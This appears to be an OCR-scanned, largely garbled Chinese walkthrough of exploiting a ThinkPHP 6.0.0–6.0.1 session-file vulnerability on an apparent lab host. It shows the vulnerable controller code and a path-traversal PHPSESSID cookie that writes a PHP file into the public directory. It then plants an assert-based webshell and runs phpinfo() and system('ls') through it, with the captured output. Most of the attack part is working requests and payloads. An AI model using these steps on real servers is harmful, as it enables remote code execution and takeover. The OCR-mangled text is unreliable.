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AR ThinkPHP 6.0.0 ~ ThinkPHP 6.0.1
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EG# T . https:/github.com/top-
think/framework/commit/1bbe75019ceb6c8e0101a6ef73706217e406439f2
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step-by-step explanation

1. 7Ecookies A LC/E 32 (HIPHPSESSIDHZL . . /.. /.. /publie 0000000000, php
2. 7EETLL B Asessiongdendpoint /& Apayload :

JSindex/vulnfparam=%3Cphp%20phpinfo () ; P%3E

V=i 7an ]

public function vuln(Request $request, Session §session)

i
i

Sparam = Srequest—>get ( param’);
Ssession—>set (' session key', $param);
return “success”;

}
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kA ThinkPHP 6.0.0 ~ ThinkPHP 6.0.1
e E.: (EEXIHEE, getshell

EG# T https:/github.com/top-
think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

AR FEEES
step-by-step explanation

1. 7Fcookies FfLE{C/E 432 (VHIPHPSESSIDFEZL . . /.. /. . /publie 0000000000x. php
2. FFEILAE Asessionfendpoint EfEApayload .
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JIindex/vuln?param=%3C7php%20phpinto () ; PH3E

it

public function vuln(Request Srequest, Session $session)
{

Sparam = $request—>get ("param’) ;

S$session—>set ("session key’, $param):

return “success”;

3. 1817 0000000000x. phpiB)E] F1EFIREZEEIshell
B4 RIZESE T @

=HlmEtR

X — R FEEEK £ thinkphp6. 0¥ i 2 3L

BATE BT H R

=HIER



(GRS B W S -l 1 5235c9155d145a4a2e273619265c79f.app.mituan.zone:8000
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ThinkPHP V6.0.0

TAZHOAE - (HMEFSHAYPHPIESR
[ V6.0 hRANE 1217 IhEREEN A |

H¥EWi&payload, 2K, idEHBXNMREKNA, RAITELEcookied #i& 324 FEpayload
Bt LAFR A4 3 Ff cookie B &

PHPSESSID=/../../../public/0000000000x.php

v ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar #
LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~ THEME ~
URL
http://15235¢9155d145a4a2e273619265c¢79f.app.mituan.zone:8000/index/vuln?param=%3C?php%20phpinfo();?%3E
Enable POST ADD HEADER
Name Value
Cookie ~ PHPSESSID=/../../../public/000000 x

T RV i url i 2 4 40000000000%.php, &E X2 E BN



& C 0 A &£ | 15235c9155d145a4a2e273619265¢79f.app.mituan.zone:8000/0000000000x.php &
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a:1:{s:11:"session_key";s:18:"

ph

System Linux dOb99cead190 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020 x86_64

Build Date Oct 13 2020 11:30:53

Configure Command ' /configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php’ *--with-config-i
scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal' '--with-mhash’ '--enable-ftp' '
enable-mbstring’ '--enable-mysqind' '--with-password-argon2' '--with-sodium=shared' "--with-pdc
sqlite=/usr' '--with-sqlite3=/usr' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-
libdir=lib/x86_64-linux-gnu' '--with-apxs2' --disable-cgi' 'build_alias=x86_64-linux-gnu’

Server API Built-in HTTP server

Virtual Directory Support disabled

Configuration File (php.ini) Path /usr/local/etc/php

Loaded Configuration File (none)

Scan this dir for additional .ini files /Jusr/local/etc/php/conf.d

Additional .ini files parsed /Jusr/local/etc/php/conf.d/docker-php-ext-sodium.ini

PHP API 20170718

PHP Extension 20170718

Zend Extension 320170718

Zend Extension Build API320170718,NTS

PHP Extension Build API20170718,NTS

Debug Build no

Thread Safety disabled
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<?php @assert($_POST[cmd]);?>
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Unicode#wf3 UTF-84%t3 URL4wH5/fEHS UnixAdalEL Ascii/NativefmiaE 4 Hex{whg/fRrg HtmI4RrD/fE55

%3c%3fphp +%40assert(%24 POST%5bcmd%5d)%3b%3f%3e
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utf-8 v UrlEncode4zt3 UrlDecodef#t3 EER

%3c%3fphp+%40assert (%24 _POST%5bcmd%5d)%3b%3f%3e
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LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~ THEME ~

URL
http://15235¢9155d145a4a2e273619265¢79f.app.mituan.zone:8000/index/vuln?param=%3c%3fphp+%40assert(%24_POST%5bcmd%5d) %3b%3f%3e

) Enable POST ADD HEADER
Name Value
Cookie ~ D=/../../../public/0000000000a.php x
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& C 0 A FF£ | 15235¢9155d145a4a2e273619265c79f.app.mituan.zone:8000/0000000000a.php

s M ves W bug W Means [ ADDomain [ Domain penetrati.. [l Python W Blog =" Rraspberry Pi Il Aut

a:1:{s:11:"session_key";s:29:"";}
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a:1:{s:11:"session_key";s:29:"

‘php

System Linux d0b99cead190 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020 x86_64
Build Date Oct 13 2020 11:30:53
Configure Command *./configure’ '--build=x86_64-linux-gnu’ '--with-config-file-path=/usr/local/etc/php’ '--with-config-file-

scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal' '--with-mhash’ '--enable-ftp" '--
enable-mbstring' '--enable-mysqind' --with-password-argon2' '--with-sodium=shared' '--with-pdo-
salite=/usr' '--with-salite3=/usr' '--with-curl’ '--with-libedit' '--with-onenssl' '--with-7lih’ '--with-

[w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar t o JERTID 4
LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFl ~ SSTI ~ ENCODING ~ HASHING ~ THEME ~
URL

http://15235¢9155d145a4a2e273619265c79f.app.mituan.zone:8000/0000000000a.php

enctype
Enable POSTapplication/x-www-form-urlencoded - ADD HEADER

Body
cmd=phpinfo();
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a:1:{s:11:"session_key";s:29:"0000000000a.php 0000000000x.php favicon.ico index.php robots.txt router.php static ";}

[x ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS -~ LFI ~ SSTI ~ ENCODING ~ HASHING

URL
http://15235¢9155d145a4a2e273619265¢79f.app.mituan.zone:8000/0000000000a.php

THEME

enctype
Enable POSTapplication/x-www-form-urlencoded - ADD HEADER

Body
cmd=system('ls’);
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